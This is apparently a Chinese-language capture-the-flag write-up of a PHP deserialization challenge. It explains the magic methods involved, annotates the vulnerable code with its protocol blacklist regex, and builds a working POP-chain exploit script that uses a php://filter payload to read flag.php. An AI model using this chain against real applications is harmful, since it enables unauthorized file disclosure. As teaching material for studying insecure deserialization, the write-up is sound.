知识点 :
PHP魔术方发的自动触发条件:
__construct
当一个对象创建时被调用,__toString
当一个对象被当作一个字符串被调用。__wakeup()
使用unserialize时触发__get()
用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性__invoke()
当脚本尝试将对象调用为函数时触发
基础基础知识:
什么是一个对象?什么是属性?
class show {
public $source;
public $str;
}
$a=new show();//这里 $a就是一个对象,而 $a->source 就是a 的一个属性 source;
题目代码解析:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { //定义一个 Modifier类
protected $var; //一个属性var
public function append($value){ //定义一个方法append ,会传入一个参数value
include($value); //包含参数value value 如果是flag.php 应该就可以利用
}
public function __invoke(){ //_invoke()方法,当一个对象被当做函数(方法)使用时会自动触发它
$this->append($this->var); //调用append()方法,这里就可以想到把var 传入flag.php,再想办法触发_invoke;
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ //__construct方法,当一个对象创建时调用,这里默认为打开include.php
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //__toString方法,当一个对象被当做字符串使用时会自动触发
return $this->str->source; //返回str->source ,明显把str定义成一个对象;
}
public function __wakeup(){ //__wakeup ,当对象使用unserialize 时就会自动触发,与下面的想呼应;
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //对source 正则匹配;
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array(); //将p属性定义为数组
}
public function __get($key){ //_GET 方法,当调用对象的属性不可达或者不存在时就会自动触发;
$function = $this->p; //将p赋值给function
return $function(); //返回function方法!!可以用它触发invoke
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show; // 定义 a 对象,类型为show
highlight_file(__FILE__);
}
从解析中就可以逆向思维构造pop链;
1.首先我们的目的是触发_invoke 方法,然后这个方法里面就会执行append方法执行文件包含var;我们就可以把var 设为flag.php 使用伪协议:
php://filter/read=convert.base64-encode/resource=flag.php
如果invoke 方法触发,那么就会得到flag;
2.怎么触发invoke呢?当将对象调用为函数使用时就会自动触发,看到代码里面的test类的get方法将属性返回为函数,//那么就可以将 p设置为一个对象;设置成
3.那么现在就要想办法触发get方法,这也是一个魔术方法,根据它的自动触发条件,就可以看到利用str->source ,本来str 和source是一个级别的属性,但是这里把source给了str,那么将str定为test类的一个对象,而test类里面没有source属性,所以就会自动触发get;
4.现在问题就到了怎么触发_tostring 方法呢,它如果将一个对象当字符串处理时就会自动触发,恰好wakeup里面的将source进行正则匹配后触发将source返回为字符串,如果source是一个对象,那么它就可以触发tostring;
5.所以现在触发wakeup,当有对象被反序列化时就触发,恰好,要传入的pop要unserialize;
所以:向pop传值→触发unserialize函数→触发__wakeup
→触发对象当作字符串用→触发__toString
→触发调用不可读取属性→触发__get
→触发对象当作函数使用→触发__invoke
→调用append,append里有include文件包含。
序列化代码:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show;
$a->source=new show;
$a->source->str=new Test;
$a->source->str->p=new Modifier;
echo urlencode(serialize($a));
传入解密即可;